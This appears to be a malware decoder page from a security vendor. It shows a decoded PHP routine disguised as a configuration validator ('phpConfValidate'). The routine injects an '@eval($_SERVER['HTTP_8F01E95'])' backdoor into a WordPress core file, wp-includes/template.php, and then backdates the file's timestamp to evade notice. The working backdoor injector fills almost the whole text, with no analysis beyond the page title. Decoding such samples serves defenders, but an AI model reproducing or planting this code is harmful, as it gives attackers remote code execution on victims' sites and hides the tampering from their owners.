Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



phpConfValidate('YTo0OntpOjA7czo1OToiL2hvbWUyL2Jlb2dyYWQvZHJlYW1zb2ZnbGl0dGVyLmNvbS93cC1pbmNsdWRlcy90ZW1wbGF0ZS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfOEYwMUU5NVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzhGMDFFOTUnXSk7IjtpOjM7czozNzoifl5ccypmdW5jdGlvblxzK2dldF9zaW5nbGVfdGVtcGxhdGV+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}



© 2023 Quttera Ltd. All rights reserved.